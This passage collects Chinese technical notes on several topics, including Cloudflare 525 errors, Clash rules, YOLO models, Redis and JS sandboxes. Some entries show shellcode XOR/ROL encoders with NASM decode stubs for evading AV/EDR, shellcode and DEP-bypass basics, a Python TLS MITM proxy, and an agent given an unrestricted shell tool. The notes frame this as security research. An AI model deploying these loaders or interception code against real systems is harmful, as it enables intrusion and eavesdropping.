/etc/letsencrypt/live/example.com/privkey.pem;7. 源站 443 没监听 直接测: curl -vk https://<origin-ip>如果 Connection refused,Nginx 没在这个 IP 上监听 443。防火墙、云安全组同样要放行。 8. IPv6 配置错误 Cloudflare 可能优先走 IPv6,如果 Nginx 没监听或者防火墙漏放,就 525。 dig AAAA example.com出现 AAAA 记录时,Nginx 记得写: listen 443 ssl; listen [::]:443 ssl;快速定位思路 先在源站本机执行: openssl s_client -connect localhost:443 -servername example.com本机就 handshake failure:问题在 Nginx 或证书 本机 OK 但外网 525:问题在 IP 路由 / 防火墙 / IPv6 / Cloudflare 连的不是这台机器再看 Cloudflare 实际解析到哪个 IP: dig A example.com dig AAAA example.com用 --resolve 强制走特定 IP 复现: curl -I https://example.com --resolve example.com:443:<origin-ip>一句话总结 525 = Cloudflare 和源站的 TLS 握手失败。八成落在 证书链不完整 或 Full (strict) 模式下证书不合规,用 openssl s_client 从源站本机开始逐层排查。
Cloudflare 525 SSL Handshake Failed:原因排查与修复方法
Cloudflare 525 错误发生在 Cloudflare 与源站之间,不是用户与 Cloudflare 之间。含义:Cloudflare 已经接收到请求,但无法与源站完成 TLS 握手。 快速检测源站 TLS openssl s_client -connect 源站IP:443 -servername 你的域名正常握手会看到: New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384如果出现 handshake failure,问题在 Nginx 或证书配置。 原因一:Nginx 未使用 fullchain 证书(最常见) Let's Encrypt 证书必须用 fullchain.pem,不能只用叶证书: # 正确 ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem;检查: nginx -T | grep ssl_certificate如果配置的是 cert.pem 而非 fullchain.pem,Cloudflare 会因为证书链不完整而报 525。 openssl 验证时看到这行也是同一问题: verify error:num=20:unable to get local issuer certificate原因二:TLS 版本过低 Cloudflare 要求至少 TLS 1.2。Nginx 配置: ssl_protocols TLSv1.2 TLSv1.3;原因三:Cipher Suite 过于严格 ssl_ciphers HIGH:!aNULL:!MD5;检查源站支持的 cipher: nmap --script ssl-enum-ciphers -p 443 源站IP原因四:开启了客户端证书验证 ssl_verify_client on;Cloudflare 无法提供匹配的客户端证书,直接导致 525。 检查: nginx -T | grep verify_client原因五:443 端口未监听 telnet 源站IP 443或: curl -vk https://源站IP如果 Connection refused 说明 Nginx 没有监听 443。 原因六:IPv6 配置问题 Cloudflare 可能优先走 IPv6: dig AAAA 你的域名如果有 AAAA 记录,但 Nginx 的 IPv6 监听或防火墙有问题: openssl s_client -connect [IPv6地址]:443 -servername 你的域名测试是否成功。 Cloudflare SSL 模式 Cloudflare Dashboard → SSL/TLS → Overview 查看当前模式:模式 要求Flexible 源站无需 HTTPSFull 源站需要 HTTPS,证书可自签Full (strict) 源站需要有效证书,证书链完整使用 Full (strict) 时,源站必须配置 fullchain.pem。 完整排查步骤 # 1. 检查证书配置 nginx -T | grep ssl_certificate# 2. 测试握手(替换为实际源站 IP) openssl s_client -connect 源站IP:443 -servername 你的域名# 3. 检查 IPv6 dig AAAA 你的域名# 4. 检查客户端验证 nginx -T | grep verify_client# 5. 直接用 curl 测试 curl -Iv https://你的域名
Clash Verge Rev 规则覆写:prepend/append/delete 与 PROCESS-PATH-REGEX 详解
Clash Verge Rev 的规则覆写配置片段: prepend: - 'PROCESS-PATH-REGEX,/Applications/ToDesk.app.*,DIRECT' - 'PROCESS-PATH-REGEX,/Applications/UURemote.app.*,DIRECT' - 'PROCESS-PATH-REGEX,/Applications/WeChat.app.*,DIRECT' append: [] delete: []prepend / append / delete 的含义字段 作用prepend 在规则列表最前面插入,优先匹配append 在规则列表最后面追加,最后匹配delete 从现有规则中删除匹配项prepend 里的规则优先级最高,命中后直接执行,不再往下匹配。 PROCESS-PATH-REGEX 语法 PROCESS-PATH-REGEX,<正则表达式>,<策略>macOS 示例: PROCESS-PATH-REGEX,/Applications/WeChat.app.*,DIRECT匹配进程路径: /Applications/WeChat.app/Contents/MacOS/WeChatWindows 示例: PROCESS-PATH-REGEX,.*\\WeChat\\WeChat.exe,DIRECT注意 Windows 路径需要用 \\ 转义反斜杠。 为什么远程控制软件要设为 DIRECT ToDesk、TeamViewer、向日葵、AnyDesk 等远程桌面软件通过自有中转服务器建立连接,走代理后常见问题:连接黑屏 延迟显著增加 无法建立 P2P 通道 连接频繁中断把这类软件设置为 DIRECT 可以绕过代理,走最短路径连接中转服务器。 常用直连配置 prepend: # 远程桌面 - 'PROCESS-PATH-REGEX,/Applications/ToDesk.app.*,DIRECT' - 'PROCESS-PATH-REGEX,/Applications/UURemote.app.*,DIRECT' - 'PROCESS-PATH-REGEX,/Applications/SunloginClient.app.*,DIRECT' - 'PROCESS-PATH-REGEX,/Applications/TeamViewer.app.*,DIRECT' - 'PROCESS-PATH-REGEX,/Applications/AnyDesk.app.*,DIRECT' # 国内即时通讯 - 'PROCESS-PATH-REGEX,/Applications/WeChat.app.*,DIRECT' - 'PROCESS-PATH-REGEX,/Applications/DingTalk.app.*,DIRECT'查找 macOS 进程真实路径 # 通过进程名查找 ps aux | grep ToDesk# 通过 PID 查看文件 lsof -p <PID> | head -5输出示例: /Applications/ToDesk.app/Contents/MacOS/ToDesk然后写规则: PROCESS-PATH-REGEX,/Applications/ToDesk.app.*,DIRECT让应用走代理 如果需要某个应用强制走代理(和默认行为相反),改策略组名称: prepend: - 'PROCESS-PATH-REGEX,/Applications/SomeApp.app.*,节点选择'前提是策略组 节点选择 在你的 proxy-groups 中存在。
Shellcode 编码存储:XOR + ROL 混淆与 NASM 解码桩
为什么需要编码存储 直接将 Shellcode 十六进制字节写进源代码或二进制文件,常见特征扫描工具(AV / EDR)可以直接匹配已知字节序列识别载荷。对字节做简单变换后,原始特征不再出现在文件中,需要在运行时解码才能执行。 这是安全研究(红队测试、恶意软件分析)中最基础的混淆手段,理解它有助于防御侧编写检测规则。 单字节 XOR 编码(最常见) 原理:每个字节与固定 key 做异或,byte ^ key ^ key == byte,自逆。 // encode.js const hexString = `e903000000cccc...`; // 原始 Shellcode 十六进制 const KEY = 0x5A;function encodeXOR(hex, key) { let result = ''; for (let i = 0; i < hex.length; i += 2) { const b = parseInt(hex.substr(i, 2), 16) ^ key; result += b.toString(16).padStart(2, '0'); } return result; }function hexToNasmDb(hex) { const lineLen = 16; let out = 'shellcode:\n'; for (let i = 0; i < hex.length; i += lineLen * 2) { const chunk = []; for (let j = i; j < i + lineLen * 2 && j < hex.length; j += 2) { chunk.push('0x' + hex.substr(j, 2)); } out += ` db ${chunk.join(', ')}\n`; } out += 'shellcode_len equ $-shellcode\n'; return out; }const encoded = encodeXOR(hexString, KEY); console.log(hexToNasmDb(encoded));对应 x64 NASM 解码 stub: section .text global _start_start: lea rsi, [rel shellcode] mov rcx, shellcode_len.decode: xor byte [rsi], 0x5A ; 与 KEY 异或还原 inc rsi loop .decode lea rax, [rel shellcode] jmp rax ; 跳转执行section .data shellcode: db 0xb3, 0x59, 0x5a, ... ; 编码后的字节 shellcode_len equ $-shellcodeROL(循环左移)编码 每字节循环左移 3 位,对应解码时循环右移 3 位(ROR 3): function rol8(value, shift) { shift &= 7; return ((value << shift) | (value >> (8 - shift))) & 0xFF; }function encodeROL(hex, shift = 3) { let result = ''; for (let i = 0; i < hex.length; i += 2) { const b = rol8(parseInt(hex.substr(i, 2), 16), shift); result += b.toString(16).padStart(2, '0'); } return result; }x64 NASM 解码(ROR 3): .decode: ror byte [rsi], 3 inc rsi loop .decodeXOR + ROL 组合 先 XOR 再 ROL,解码时反序:先 ROR 再 XOR: function encodeCombined(hex, key = 0x5A, shift = 3) { let result = ''; for (let i = 0; i < hex.length; i += 2) { let b = parseInt(hex.substr(i, 2), 16); b ^= key; b = rol8(b, shift); result += b.toString(16).padStart(2, '0'); } return result; }对应解码 stub: .decode: mov al, [rsi] ror al, 3 ; 先 ROR(逆 ROL) xor al, 0x5A ; 再 XOR(逆 XOR) mov [rsi], al inc rsi loop .decode注意事项单字节 key 的局限:如果 Shellcode 里本来就包含 key 值的字节(如原始字节恰好 == 0x5A),编码后变为 0x00,仍然可能产生空字节。可以换一个不在原始字节中出现的 key,或改为多字节 rolling key。default rel(NASM):x64 NASM 中建议加 default rel 或显式用 [rel label] 引用数据,否则 64 位相对地址可能超出 32 位范围导致链接错误。loop 指令:loop 在 x64 默认使用 rcx 计数器,每次 dec rcx; jnz,效率低于 dec rcx; jnz。大量数据时可用 dec rcx / jnz 替代。完整流程 原始 Shellcode bytes ↓ JS 编码脚本(XOR / ROL) 编码后的 db 数组(写进 .asm 文件) ↓ NASM 汇编编译 包含解码 stub + 编码数据的二进制 ↓ 运行时执行 stub 循环还原字节 → 跳转执行原始 Shellcode这种 stub + payload 的结构是安全研究中分析加载器(Loader)的基础模型,理解它有助于识别真实样本中的解码阶段。
Shellcode 与汇编的关系:位置无关代码与空字节规避
关系概览 汇编源码 (.asm) ↓ 汇编器 (nasm / masm) 机器码(二进制字节) ↓ 满足额外约束 Shellcode汇编代码是人可读的指令文本;机器码是 CPU 直接执行的二进制;Shellcode 是专门设计的机器码,额外满足注入执行的要求。 为什么叫 Shellcode 最初漏洞利用(如栈溢出)的攻击载荷: [Shellcode][Padding][Return Address]覆盖返回地址后程序跳转到攻击者注入的代码,执行 /bin/sh 获得 Shell,因此得名。现代 Shellcode 不一定启动 Shell,常见用途包括:下载木马、注入 DLL、建立反向连接、调用系统 API。 位置无关代码(PIC) 普通可执行文件有固定加载地址;注入的 Shellcode 则可能落在任意地址,因此不能使用绝对地址引用字符串或函数。 x86 经典写法(call/pop 技巧): call get_rip get_rip: pop ebx ; ebx = 当前 IP,可作为基址计算偏移 ; 用 [ebx + offset] 访问数据而非绝对地址x64 更简洁,RIP 相对寻址天然支持 PIC: lea rax, [rip + data_offset]空字节(Null Byte)问题 许多漏洞场景通过字符串复制触发(如 strcpy),遇到 \x00 会截断。因此 Shellcode 必须避免产生空字节(0x00)。 反例: mov eax, 1 ; b8 01 00 00 00 → 含 \x00 ret ; c3机器码 b8 01 00 00 00 含三个 \x00,不适合作为 Shellcode。 改写后: xor eax, eax ; 31 c0 → eax = 0,无 \x00 inc eax ; 40 → eax = 1 ret ; c3机器码 31 c0 40 c3,无空字节。 常用规避技巧:原写法 替换写法mov eax, N(N 小于 256) xor eax, eax; mov al, Npush 0 xor ecx, ecx; push ecxmov eax, 0 xor eax, eax字符串末尾 \x00 运行时 xor [rsp+N], al 写入NX / DEP:现代系统的阻碍 现代操作系统将内存页分为可写(W)和可执行(X),默认两者不能同时开启: 代码段:R + X(可读可执行) 数据段:R + W(可读可写) 栈: R + W(默认无执行权限)因此攻击者把 Shellcode 注入栈或堆后,直接跳转执行会触发 NX/DEP 保护,产生访问违例。 绕过方式(了解原理即可):ROP(Return-Oriented Programming):链式复用代码段中已有的 gadget,不需要注入新代码。 JIT Spraying:利用 JIT 编译器生成可执行内存,注入伪装成合法代码的载荷。 mmap/VirtualAlloc + mprotect:合法申请可执行内存后拷贝并跳转(多见于合法场景如虚拟机)。汇编动态执行机器码的原理 以 C 伪码说明(仅描述原理): // 1. 申请可执行内存 void *mem = mmap(NULL, len, PROT_READ|PROT_WRITE|PROT_EXEC, ...);// 2. 写入机器码 memcpy(mem, shellcode_bytes, len);// 3. 跳转执行 ((void(*)())mem)();这等价于汇编: mov rax, <mem_addr> jmp rax ; CPU 将 mem_addr 处字节视为指令序列执行CPU 不区分"正常代码"和"Shellcode",只要内存页有执行权限,任何字节序列都可以执行。 小结概念 说明汇编 人可读的助记符指令文本机器码 汇编编译后的二进制Shellcode 满足 PIC + 无空字节 + 紧凑的机器码NX/DEP 阻止数据页执行的硬件/OS 保护PIC 代码不依赖绝对地址,可在任意内存位置运行实际安全研究中,Shellcode 的开发、测试和分析都在受控的授权测试环境中进行。理解底层原理有助于防御侧识别攻击特征和设计更有效的检测规则。
YOLO11 预训练模型指南:Ultralytics、Roboflow Universe 与 HuggingFace
Ultralytics 官方预训练模型 YOLO11 由 Ultralytics 维护,提供五档大小(n/s/m/l/x),覆盖四类主要任务:任务 示例权重 用途目标检测 yolo11n.pt ~ yolo11x.pt 输出 bbox + 类别实例分割 yolo11n-seg.pt ~ yolo11x-seg.pt 输出精确 Mask姿态识别 yolo11n-pose.pt ~ yolo11x-pose.pt 人体关键点旋转框(OBB) yolo11n-obb.pt ~ yolo11x-obb.pt 遥感/倾斜目标默认基于 COCO 80 类训练,可直接检测人、车、猫狗、手机、键盘等常见目标: from ultralytics import YOLOmodel = YOLO("yolo11m.pt") results = model("image.jpg")推理返回的 results 包含 bbox 坐标(xywh 或 xyxy)、置信度和类别 ID。 实例分割 model = YOLO("yolo11m-seg.pt") results = model("image.jpg")# 获取多边形点集(可直接转 YOLO 分割格式) for r in results: for mask in r.masks.xy: print(mask) # [[x, y], ...]垂直场景预训练权重 不需要从头训练的常见场景权重可在以下平台获取: Roboflow Universe:提供数千个社区训练好的 YOLO 权重,支持直接下载或 API 调用。常见方向:安全帽检测(工地、工厂) 烟火检测 跌倒检测 车牌识别 PCB 缺陷检测 路面裂缝HuggingFace:搜索 "yolo11" 或 "yolov8" 可找到专有领域微调版本,包含医学图像、农业、无人机航拍等方向。 更多可用模型 除 YOLO11 外,以下模型各有优势:模型 特点 适用场景YOLO-World 文本描述直接检测任意目标 零样本检测YOLO12 Attention 架构,精度更高 精度优先RT-DETR Transformer 检测器,速度快 部署优先RF-DETR 小数据集效果好 数据少的场景YOLOX 无 AGPL 协议争议 商业部署PP-YOLOE 百度飞桨出品 国内生态YOLO-World 示例 from ultralytics import YOLOmodel = YOLO("yolov8s-worldv2.pt")# 设置类别(无需重新训练) model.set_classes(["car", "person", "safety helmet"])results = model("image.jpg")输入类别名称即可检测,适合快速验证和标注辅助。 推荐工作流 没有垂直场景数据时: 1. 从 Roboflow Universe 找现有权重 2. 用预训练权重对自己数据集预标注 3. 人工审核 + 修正 4. 在预训练权重基础上微调(而非从头训练)微调比从头训练所需的数据量少 3~5 倍,收敛速度也更快。
MITM 抓包代理的实现方案:从用户态代理到驱动层
六种实现层次对比方案 典型工具 特点用户态代理 mitmproxy, Charles, Burp Suite 配置简单,需安装根证书TUN 虚拟网卡 Clash Meta, sing-box, Surge 不依赖系统代理,可抓 UDP/游戏WinDivert WinDivert + 自定义程序 Windows 驱动层,游戏加速器常用WFP 企业安全/DLP 产品 微软官方,性能高,不易检测NDIS Filter Wireshark/Npcap 二层帧,可抓所有流量Socket Hook Frida, Xposed 拦截加密前明文,绕过证书绑定用户态代理(最常见) 流量路径: App → 系统代理 → MITM Proxy → 目标服务器HTTPS 需要:生成 CA 根证书,安装到系统信任 收到 CONNECT hostname:443 后,动态签发 hostname 的域名证书 与客户端建立一条 TLS,与服务端建立另一条 TLS,在中间解密/重新加密TUN 虚拟网卡方案 App → 虚拟网卡(TUN) → 用户态协议栈 → 真实网卡Linux 创建 TUN: int tun_fd = open("/dev/net/tun", O_RDWR); // 配置后:所有流量走 TUN,用户态读 IP 包 read(tun_fd, buf, sizeof(buf));优点:不需要配系统代理,UDP 也能抓,Clash/sing-box 都用这套。 Python 实现最小 HTTPS MITM 第一步:生成 CA openssl genrsa -out ca.key 2048 openssl req -x509 -new -key ca.key -out ca.crt -days 3650安装 ca.crt 到系统根证书信任。 第二步:动态签发域名证书 from cryptography import x509 from cryptography.x509.oid import NameOID from cryptography.hazmat.primitives import hashes, serialization from cryptography.hazmat.primitives.asymmetric import rsa import datetimedef gen_cert(hostname: str, ca_key, ca_cert): key = rsa.generate_private_key(public_exponent=65537, key_size=2048) cert = ( x509.CertificateBuilder() .subject_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, hostname)])) .issuer_name(ca_cert.subject) .public_key(key.public_key()) .serial_number(x509.random_serial_number()) .not_valid_before(datetime.datetime.utcnow()) .not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=365)) .add_extension(x509.SubjectAlternativeName([x509.DNSName(hostname)]), critical=False) .sign(ca_key, hashes.SHA256()) ) return key, cert第三步:TLS 劫持 import ssl# 客户端侧:用伪造证书与客户端握手 def mitm_tls_client(client_socket, hostname, certfile, keyfile): ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) ctx.load_cert_chain(certfile, keyfile) return ctx.wrap_socket(client_socket, server_side=True)# 服务端侧:正常连接真实服务器 def connect_server(hostname, port): ctx = ssl.create_default_context() raw = socket.create_connection((hostname, port)) return ctx.wrap_socket(raw, server_hostname=hostname)两端建立后,中间就能读到明文 HTTP 请求: req = client_tls.recv(8192) print(req.decode()) # POST /v1/chat/completions ...HTTP 解析推荐 不要手动解析 HTTP,使用成熟库: pip install h11 # 轻量,推荐 # 或 pip install httptools证书缓存 对同一域名动态生成一次后缓存,避免每次重复生成: cert_cache = {}def get_cert(hostname): if hostname not in cert_cache: key, cert = gen_cert(hostname, ca_key, ca_cert) cert_cache[hostname] = (key, cert) return cert_cache[hostname]最小模块划分 自己实现一个基础 HTTPS MITM 代理,核心代码约 500~1000 行: proxy/ ├── listener.py # 监听连接 ├── connect.py # 处理 CONNECT 方法 ├── tls.py # TLS 劫持 ├── cert.py # 动态证书生成/缓存 ├── http.py # HTTP 解析 └── logger.py # 请求日志局限性 用户态 HTTP Proxy 在以下场景会遇到问题:QUIC/HTTP3(基于 UDP,不走 CONNECT) App 硬编码不走系统代理 Certificate Pinning(固定证书哈希) gRPC over HTTP2对于需要捕获所有流量的场景(如 AI Agent 全局监听),TUN + gVisor Netstack 扩展性更好。
2026 年 AI Agent 框架选型:LangGraph、Mastra、PydanticAI 对比与 LangGraph 最小实现
框架横向对比(2026)框架 语言 适合场景LangGraph Python 生产环境、多 Agent、长流程Mastra TypeScript Next.js 全栈项目PydanticAI Python FastAPI、结构化输出CrewAI Python 多角色协作 AgentAutoGen Python 研究方向、自动代码执行OpenAI Agents SDK Python 轻量 Tool Calling、OpenAI 为主综合推荐排名:LangGraph > OpenAI Agents SDK > Mastra > PydanticAI > CrewAI > AutoGen LangGraph:生产首选 LangGraph 基于状态机(StateGraph),天然支持:循环图(Think → Act → Observe → Think) Checkpoint 持久化 Multi-Agent(Supervisor / Swarm) Human-in-the-Loop(Interrupt + Resume) 与 Playwright/Browser Use 集成大量生产环境已从 LangChain Agent 迁移至 LangGraph。 LangGraph 最小实现 pip install langgraph langchain-openai langchain-coretools.py: from langchain_core.tools import tool import subprocess@tool def search(query: str) -> str: """搜索信息""" return f"搜索结果: {query}"@tool def shell(command: str) -> str: """执行命令""" try: return subprocess.check_output(command, shell=True, text=True, timeout=5)[:5000] except Exception as e: return str(e)app.py: from typing import TypedDict from langgraph.graph import StateGraph, END from langchain_openai import ChatOpenAI from langchain_core.messages import HumanMessage, ToolMessage from tools import search, shellllm = ChatOpenAI(model="gpt-4o") tools = [search, shell] llm_with_tools = llm.bind_tools(tools)class AgentState(TypedDict): messages: listdef agent_node(state): response = llm_with_tools.invoke(state["messages"]) return {"messages": state["messages"] + [response]}def tool_node(state): last = state["messages"][-1] tool_messages = [] for call in last.tool_calls: result = search.invoke(call["args"]) if call["name"] == "search" else shell.invoke(call["args"]) tool_messages.append(ToolMessage(content=str(result), tool_call_id=call["id"])) return {"messages": state["messages"] + tool_messages}def should_continue(state): last = state["messages"][-1] return "tool" if hasattr(last, "tool_calls") and last.tool_calls else ENDgraph = StateGraph(AgentState) graph.add_node("agent", agent_node) graph.add_node("tool", tool_node) graph.set_entry_point("agent") graph.add_conditional_edges("agent", should_continue, {"tool": "tool", END: END}) graph.add_edge("tool", "agent") app = graph.compile()运行: result = app.invoke({"messages": [HumanMessage(content="列出当前目录")]}) print(result["messages"][-1].content)Agent Memory 分级架构 高 Token 消耗的核心问题是全量注入记忆。推荐分三级: L1 工作记忆 → 最近 10~20 条消息,直接进 Prompt L2 任务记忆 → 当前项目/任务相关,按需读取 L3 长期记忆 → 用户偏好、历史经验,向量检索 TopKMemory Router 方案 不让 Memory 全量注入,而是先路由: def memory_router(state): query = state["query"] if "合约" in query: return {"memory_keys": ["web3"]} if "SpringBoot" in query: return {"memory_keys": ["coding", "project"]} return {"memory_keys": []}再根据 memory_keys 去向量库检索 Top-K 相关记忆注入 Prompt。 推荐存储方案 Redis → L1 短期记忆(最近消息、任务状态) pgvector → L2/L3 长期记忆(向量检索) Qdrant → 替代 pgvector(独立向量库)这样单次请求上下文通常能从 50k+ Token 压到 3k~10k Token,且效果往往更好(减少无关记忆干扰)。 OpenClaw 与 LangGraph 的关系 OpenClaw 是一个 Agent Runtime(Agent 操作系统),包含 Gateway(消息入口)、Skills(工具插件)、Memory、Workspace。LangGraph 提供了其中 Agent Loop + Persistence + Multi-Agent 的核心能力,但不负责 Gateway 和 Tool 生态。 用 LangGraph 可以实现 OpenClaw 绝大部分核心功能,真正耗工程量的是:权限系统、Tool 生态、Browser 自动化和可观测性系统。 最小技术栈(个人项目) Next.js / SpringBoot → 前后端 LangGraph → Agent 编排 Redis → 短期记忆 Postgres + pgvector → 长期记忆 Playwright → 浏览器操作 Quartz / @Scheduled → 定时任务
Redis Windows 安装为系统服务:service-install 命令与 Bad directive 报错修复
安装 Redis 为 Windows 服务 将 Redis 解压到目录(如 D:\Redis),管理员身份打开 CMD: cd /d D:\Redisredis-server.exe --service-install redis.windows.conf --service-name Redis注意:配置文件必须用 redis.windows.conf,不能用 redis.conf。 启动服务: redis-server.exe --service-start停止服务: redis-server.exe --service-stop卸载服务: redis-server.exe --service-uninstall验证连接: redis-cli.exe ping # 返回 PONG 表示成功查看 Redis 是否在监听: netstat -ano | findstr 6379报错:Bad directive *** FATAL CONFIG FILE ERROR (Redis 7.4.x) *** Reading the configuration file, at line 2 >>> 'service-install "redis.conf"' Bad directive or wrong number of arguments原因:Redis 7.x 对 --service-install 参数解析方式改变,直接写 redis.conf 会被误解析为配置文件内容。 修复方案:使用 Redis Windows 专用配置文件 redis.windows.conf(发行包中已包含): redis-server.exe --service-install redis.windows.conf --service-name Redis如果发行包只有 redis.conf,复制一份并重命名为 redis.windows.conf 即可。 设置开机自启 安装服务后默认为自动启动,查看启动类型: sc qc Redis若不是 AUTO_START,手动设置: sc config Redis start= auto注意 start= 后面必须有一个空格。 查看服务状态(或在 services.msc 图形界面查找 "Redis"): sc query RedisNSSM 替代方案 NSSM(Non-Sucking Service Manager)适合管理任何 exe 为 Windows 服务,不依赖 Redis 自带的 service 参数: nssm install Redis在弹出的图形界面中配置: Application Path: D:\Redis\redis-server.exe Arguments: D:\Redis\redis.windows.conf然后: nssm start RedisNSSM 还支持标准输出/错误重定向到日志文件,适合需要记录 Redis 日志的场景。
JavaScript 动态执行代码:new Function、eval 与 Node.js vm 沙箱
三种方式对比方式 能访问外部作用域 安全性 推荐场景eval() 是 低 几乎不推荐new Function() 否 中 浏览器/Node 通用vm.runInContext() 否(隔离) 高 Node.js 执行用户代码new Function(推荐) // 无参数 const fn = new Function("return 1 + 2"); console.log(fn()); // 3// 带参数 const add = new Function("a", "b", "return a + b"); console.log(add(1, 2)); // 3// 多行代码 const code = ` const x = 10; return x * 2; `; console.log(new Function(code)()); // 20new Function 创建的函数只能访问全局作用域,不能访问创建它时的局部变量——这是它比 eval 更安全的原因。 eval(不推荐) const result = eval("1 + 2"); // 3eval 可以访问当前闭包内的变量,是潜在的代码注入入口,大多数代码规范禁止使用。 注入上下文:with(data) 在表单引擎、规则配置等场景中,需要让动态代码访问对象属性: function runExpression(expr, data) { return new Function("data", `with(data){ return ${expr} }`)(data); }runExpression("price * count", { price: 10, count: 2 }); // 20 runExpression("amount > 100", { amount: 200 }); // truewith(data) 把 data 的属性提升为词法作用域,表达式中可以直接使用属性名。 执行用户脚本(带函数体) 从数据库加载 JS 函数字符串并执行: const scriptStr = ` function check(order) { return order.amount > 100; } `;// 提取函数体,传入参数执行 const fn = new Function("order", ` ${scriptStr} return check(order); `);console.log(fn({ amount: 200 })); // true异步版本:AsyncFunction // 获取异步函数构造器 const AsyncFunction = Object.getPrototypeOf(async function(){}).constructor;const code = ` const res = await Promise.resolve(123); return res; `;const fn = new AsyncFunction(code); fn().then(console.log); // 123Node.js vm 沙箱(服务端执行用户代码) vm 模块提供真正的上下文隔离,适合服务端运行不受信任的代码: const vm = require("vm");// 创建隔离上下文 const context = { a: 1, b: 2, result: 0 }; vm.createContext(context);vm.runInContext("result = a + b", context); console.log(context.result); // 3设置超时,防止死循环: try { vm.runInContext( "while(true){}", context, { timeout: 1000 } // 1秒超时 ); } catch (e) { console.log("超时:", e.message); }完整执行流程: function safeExec(code, data, timeoutMs = 500) { const ctx = { ...data, __result: undefined }; vm.createContext(ctx); vm.runInContext( `__result = (function(){ ${code} })()`, ctx, { timeout: timeoutMs } ); return ctx.__result; }safeExec("return a * b", { a: 3, b: 4 }); // 12vm 模块的局限 vm 不是完全安全的沙箱,能被构造特定代码逃逸(prototype chain escape)。对安全要求更高的场景,使用 vm2 库(已停止维护)或 isolated-vm(推荐): import ivm from "isolated-vm";const isolate = new ivm.Isolate({ memoryLimit: 64 }); const ctx = await isolate.createContext(); const result = await ctx.eval("1 + 2");
JS 动态执行字符串代码:new Function、eval 与 Node.js vm 沙箱
new Function(推荐) // 无参数 const code = "return 1 + 2"; const fn = new Function(code); console.log(fn()); // 3// 带参数 const fn2 = new Function("a", "b", "return a + b"); console.log(fn2(1, 2)); // 3// 多行代码 const fn3 = new Function(` const x = 10; return x * 2; `); console.log(fn3()); // 20和 eval 的主要区别:有独立函数作用域,不会污染外部变量 可以明确传入参数,接口更清晰 不能访问外部局部变量(只能访问全局)eval(不推荐) const result = eval("1 + 2"); console.log(result); // 3问题:和外部作用域共享变量,容易出现意外副作用 引擎无法优化,性能差 各种代码规范和 CSP 都禁止使用异步代码执行 const AsyncFunction = Object.getPrototypeOf(async function(){}).constructor;const code = ` const res = await Promise.resolve(123); return res; `;const fn = new AsyncFunction(code); fn().then(console.log); // 123Node.js vm 模块(沙箱执行) 适合在 Node 服务端执行用户提交的代码,比 eval 更安全: const vm = require("vm");const context = { a: 1, b: 2 }; vm.createContext(context);const result = vm.runInContext("a + b", context); console.log(result); // 3设置超时防止死循环: try { vm.runInContext("while(true){}", context, { timeout: 1000 }); } catch (e) { console.error("超时:", e.message); // Script execution timed out }执行来自数据库的函数字符串: const str = ` function check(order) { return order.amount > 100; } `;const check = new Function(`${str}; return check;`)(); console.log(check({ amount: 200 })); // true实战:规则引擎表达式 带上下文变量执行表达式: function runExpression(expr, data) { return new Function( "data", `with(data){ return ${expr} }` )(data); }runExpression("price * count", { price: 10, count: 2 }); // 20微信小程序:eval 和 Function 均被禁用 小程序运行环境为了安全禁止动态代码生成: eval("1+1"); // eval is not a function new Function("return 1"); // Function constructor is disabled替代方案一:JSON 规则引擎 { "op": "and", "rules": [ { "field": "amount", "operator": ">", "value": 100 }, { "field": "vip", "operator": "=", "value": true } ] }function runRule(rule, data) { return rule.rules.every(item => { switch (item.operator) { case ">": return data[item.field] > item.value; case "=": return data[item.field] === item.value; } }); }替代方案二:globalThis 注册函数表 // 初始化时注册所有可调用函数 globalThis.actions = { checkVip(data) { return data.vip; }, checkAmount(data) { return data.amount > 100; } };// 运行时按名称调用 function dispatch(funcName, data) { return globalThis.actions[funcName]?.(data); }dispatch("checkAmount", { amount: 200 }); // trueglobalThis 在小程序中可用(等价于浏览器的 window),但 window、document 在小程序里不存在。这种函数表模式是小程序低代码/规则引擎的常见做法。
Mermaid Flowchart 语法常见报错:冒号、圆柱节点、边标签空格的修复
Mermaid flowchart 渲染失败通常没有明确报错信息,图表直接显示为空白或语法错误提示。以下是三类最常见的问题。 问题一:节点文本含冒号 端口号和 URL 路径中的冒号会让部分 Mermaid 版本解析失败: HN[Hardhat Node :8545] ← 可能报错修复:用括号替代冒号,或加引号包裹整个文本: HN["Hardhat Node (8545)"] RP["rpc-proxy (8546)"] Backend["Go Backend (8080)"]问题二:圆柱节点 [( )] 与中文混用 OS[(OrderStore 内存)] ← 部分渲染器报错修复:改用英文,或改为普通方块节点: OS[("OrderStore")] OS[OrderStore]问题三:边标签含空格 UI -->|9. 轮询 processedOrders| RP ← 旧版本可能报错修复:用双引号包裹边标签: UI -->|"9. 轮询 processedOrders"| RPsubgraph 加引号 subgraph 名称含中文、括号、空格时,用双引号包裹避免问题: subgraph Frontend["React Frontend"] subgraph Backend["Go Backend (8080)"]修复后完整示例 flowchart TB subgraph Frontend["React Frontend"] UI["用户界面"] MM["MetaMask钱包"] end subgraph Backend["Go Backend (8080)"] API["Gin HTTP API"] OS["OrderStore"] end subgraph Chain["以太坊链"] HN["Hardhat Node (8545)"] PG["PaymentGateway 合约"] end UI -->|"1. POST /api/orders"| API API -->|"2. 创建订单"| OS HN -->|"3. 执行合约"| PG PG -.->|"Deposit事件"| HN通用规则节点文本有特殊字符(:、/、()→ 加双引号 边标签有空格或特殊字符 → 加双引号 中文混合复杂格式 → 尽量简化或加引号Mermaid 版本差异较大,加引号是最兼容的防御性写法。
Hardhat 本地链卡链?先看是不是关了自动挖矿
